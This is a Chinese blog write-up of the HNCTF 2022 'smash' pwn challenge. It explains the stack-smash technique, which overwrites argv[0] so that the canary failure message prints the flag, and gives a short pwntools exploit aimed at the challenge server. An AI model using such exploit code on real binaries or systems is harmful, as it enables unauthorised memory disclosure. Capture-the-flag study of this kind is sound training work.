首页 > 其他分享 >【pwn】[HNCTF 2022 WEEK3]smash --花式栈溢出

【pwn】[HNCTF 2022 WEEK3]smash --花式栈溢出

时间:2023-12-17 21:45:05浏览次数:21  
标签:smash HNCTF -- 程序 argv canary io stack

拿到程序,先查一下保护状态

没开pie,接着看主函数代码逻辑

看到这里,因为程序开了canary,本程序没有可以泄露canary的方法,所以普通的栈溢出方法肯定打不了,这里可以考虑一下smash stack

Stack smash       

       在程序加了 canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。
所以我们只要将argv[0]改成buf地址,就可以将flag的值打印出来,我们可以动调看一下argv[0]的地址,可以使用print &__libc_argv[0]查看

再来看一下栈底地址

这样就可以算出我们读入数据的地址到argv[0]的偏移

exp:

from pwn import * context(os='linux',arch='amd64',log_level='debug')
io=remote("node5.anna.nssctf.cn",28952)
arg=0x7fffffffe538 flag_addr=0x404060 stack_rbp=0x7fffffffe450 offset=arg-stack_rbp+0x110 payload=b'a'*offset+p64(flag_addr) io.recvuntil(b"Good Luck.\n") io.send(payload) io.interactive()

标签:smash,HNCTF,--,程序,argv,canary,io,stack
From: https://www.cnblogs.com/GGbomb/p/17909896.html

相关文章

  • 使用Servlet进行页面跳转的两种方式
    最近在教学生学习JavaWeb相关的技术,刚好讲到Java当中的Servlet,一个服务端的小程序。也在和学生讲使用Servlet如何进行页面跳转,一种方式是使用请求转发进行页面跳转,一种方式是使用响应重定向。下面就来分别聊一聊这两种页面跳转方式。 首先有一个知识点需要注意,如果页......
  • 实验6
    1.实验任务41#include<iostream>2#include<stdexcept>34template<typenameT>5classVector{6private:7T*data;8size_tsize;9public:10Vector(size_tn):size(n){11data=newT[size];12......
  • json.load()和json.loads()
    在Python中,json.load和json.loads 分别用于从文件对象和字符串中加载JSON数据,但它们之间有一些重要的区别:1.输入类型: json.load:接受一个已经打开的文件对象作为参数,从文件中读取JSON数据。 json.loads:接受一个包含JSON数据的字符串作为参数,从字符串中加载JSON数据。2......
  • POLIR-Management-TYPES of decisions{Structured(routine+familiar)Problems: Progra
    Inaverysimplesense,theproblemsmanagersencountercanbeclassifiedas:routineandfamiliar;newandunusual.Inresponse,managerswilluseoneoftwodifferenttypesofdecisions:StructuredProblemsandProgrammedDecisions;UnstructuredP......
  • on,in,at三者之间的用法和区别
    表示事件时的用法区别:in时间长;on某-点;at时间短。表示地点时的用法区别:at强调点;on强调面;in强调在里面。表示方位时的用法区别:介系词in表示的方位是在某事物的内部,占去某物一部分。 第一,介词in,on,at表示时间时的用法区别:1,in时间范围大(一天以上)泛指在上......
  • 11
     1.内部类1.1一般内部类内部类是定义在其他类内部的类。内部类可以是外部类的成员变量。内部类可以是私有的或静态的,具体取决于访问和使用的需求。1.2局部内部类局部内部类是在方法内部定义的,不能有访问修饰符。在局部内部类中使用的变量会隐式变为final。1.3匿......
  • linux---内核笔记
    semaphore用于进程和进程之间的同步允许有多个进程进入临界区代码执行进程获取不到信号量锁会陷入休眠,让出cpu信号量本质是基于进程调度器,UP和SMP下的实现无差异。被信号量锁保护的临界区代码允许睡眠,这是和自旋锁最大的区别之一。不支持进程和中断之间的同步,这是和自旋锁......
  • 苹果微信换图标方法!教你微信快速改任意图标教程(附图标)
    微信作为如今的社交大哥,使用人数早已突破了十亿人次,可见其用户体量之多堪称第一!用户量越多大家的需求也就越多,就像苹果微信想要实现安卓微信的各种功能,因为iOS系统的限制很多都是实现不了的。就比如更换微信图标这件事,安卓只需要更换一个喜欢的系统主题足以,但对于iPhone来说......
  • Codeforces Round 915 (Div. 2)
    基本情况A题还没进入状态,卡了快10分钟。B题一开始想复杂了,以为是树的直径,后面推出来发现针对叶子数目讨论就行了,正确思路出来太慢了(一个半小时)。C题留了半个多小时,随便口胡了一个LIS思路,但是判断无解没思路。C.LargestSubsequenceProblem-C-Codeforces首先我们把字......
  • 电子公文系统冲刺第六天
    1.活动图片 2.燃尽图3.项目进展强化密钥保护和访问控制机制强化访问控制功能,包括角色和权限管理添加电子公文审批流程功能进行国密算法在文件存储和传输中的功能测试和调试开发用户管理功能的日志记录和审计功能4.今日问题系统性能不佳,响应时间较长;可能的内存泄漏或......